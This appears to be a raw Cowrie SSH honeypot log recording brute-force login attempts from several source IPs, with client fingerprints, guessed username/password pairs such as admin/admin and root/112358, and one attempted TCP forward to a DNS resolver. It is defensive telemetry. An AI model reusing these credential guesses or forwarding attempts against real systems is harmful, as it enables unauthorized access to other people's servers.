{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:33.541515Z","src_ip":"87.251.64.176","session":"f7ff9e548a9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:33.637844Z","src_ip":"87.251.64.176","session":"f7ff9e548a9b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:33.926438Z","src_ip":"87.251.64.176","session":"f7ff9e548a9b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:34.024523Z","session":"f7ff9e548a9b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:34.121696Z","src_ip":"87.251.64.176","session":"f7ff9e548a9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:34.220714Z","src_ip":"87.251.64.176","session":"f7ff9e548a9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":56166,"dst_ip":"159.203.135.109","dst_port":22,"session":"be420a2d0ae5","protocol":"ssh","message":"New connection: 103.77.175.15:56166 (159.203.135.109:22) [session: be420a2d0ae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:48.758212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:48.767149Z","src_ip":"103.77.175.15","session":"be420a2d0ae5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:49.023922Z","src_ip":"103.77.175.15","session":"be420a2d0ae5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"112358","message":"login attempt [root/112358] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:49.794073Z","src_ip":"103.77.175.15","session":"be420a2d0ae5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:51.131713Z","src_ip":"103.77.175.15","session":"be420a2d0ae5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":39298,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3b2c4ba1f17","protocol":"ssh","message":"New connection: 2.57.122.238:39298 (159.203.135.109:22) [session: e3b2c4ba1f17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:53.147654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:53.151839Z","src_ip":"2.57.122.238","session":"e3b2c4ba1f17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:53.251304Z","src_ip":"2.57.122.238","session":"e3b2c4ba1f17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol123","message":"login attempt [sol/sol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:53.582531Z","src_ip":"2.57.122.238","session":"e3b2c4ba1f17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:07:54.686212Z","src_ip":"2.57.122.238","session":"e3b2c4ba1f17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":33908,"dst_ip":"10.17.0.5","dst_port":22,"session":"67aaa3ed3030","protocol":"ssh","message":"New connection: 213.209.159.56:33908 (10.17.0.5:22) [session: 67aaa3ed3030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:08:03.862050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:08:03.870766Z","src_ip":"213.209.159.56","session":"67aaa3ed3030","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:08:03.953228Z","src_ip":"213.209.159.56","session":"67aaa3ed3030","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kami","password":"kami","message":"login attempt [kami/kami] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:08:04.355682Z","src_ip":"213.209.159.56","session":"67aaa3ed3030","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kami","password":"kami1","message":"login attempt [kami/kami1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:08:05.442461Z","src_ip":"213.209.159.56","session":"67aaa3ed3030","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kami","password":"kami123","message":"login attempt [kami/kami123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:08:06.528643Z","src_ip":"213.209.159.56","session":"67aaa3ed3030","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kami","password":"kami1234","message":"login attempt [kami/kami1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:08:07.614554Z","src_ip":"213.209.159.56","session":"67aaa3ed3030","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kami","password":"kami12345","message":"login attempt [kami/kami12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:08:08.700499Z","src_ip":"213.209.159.56","session":"67aaa3ed3030","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:08:09.786266Z","src_ip":"213.209.159.56","session":"67aaa3ed3030","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.206","src_port":58830,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec0449fc76ad","protocol":"ssh","message":"New connection: 62.133.63.206:58830 (10.17.0.5:22) [session: ec0449fc76ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:08:47.949686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:08:47.954244Z","src_ip":"62.133.63.206","session":"ec0449fc76ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:08:48.080426Z","src_ip":"62.133.63.206","session":"ec0449fc76ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"thomas","message":"login attempt [root/thomas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:08:48.461361Z","src_ip":"62.133.63.206","session":"ec0449fc76ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:08:49.589293Z","src_ip":"62.133.63.206","session":"ec0449fc76ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":56296,"dst_ip":"159.203.135.109","dst_port":22,"session":"282a0783d912","protocol":"ssh","message":"New connection: 80.66.85.226:56296 (159.203.135.109:22) [session: 282a0783d912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:09:03.770889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:09:03.776534Z","src_ip":"80.66.85.226","session":"282a0783d912","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:09:03.869482Z","src_ip":"80.66.85.226","session":"282a0783d912","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"natasha1","message":"login attempt [root/natasha1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:09:04.149938Z","src_ip":"80.66.85.226","session":"282a0783d912","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:09:05.245937Z","src_ip":"80.66.85.226","session":"282a0783d912","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":47802,"dst_ip":"159.203.135.109","dst_port":22,"session":"466e89834bf1","protocol":"ssh","message":"New connection: 2.57.122.238:47802 (159.203.135.109:22) [session: 466e89834bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:08.500494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:08.505253Z","src_ip":"2.57.122.238","session":"466e89834bf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:08.611259Z","src_ip":"2.57.122.238","session":"466e89834bf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:08.941919Z","src_ip":"2.57.122.238","session":"466e89834bf1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:10.051190Z","src_ip":"2.57.122.238","session":"466e89834bf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":34078,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b9884247fa3","protocol":"ssh","message":"New connection: 80.94.92.186:34078 (159.203.135.109:22) [session: 8b9884247fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:13.966598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:14.050671Z","src_ip":"80.94.92.186","session":"8b9884247fa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:10:14.152668Z","src_ip":"80.94.92.186","session":"8b9884247fa3","protocol":"ssh"}
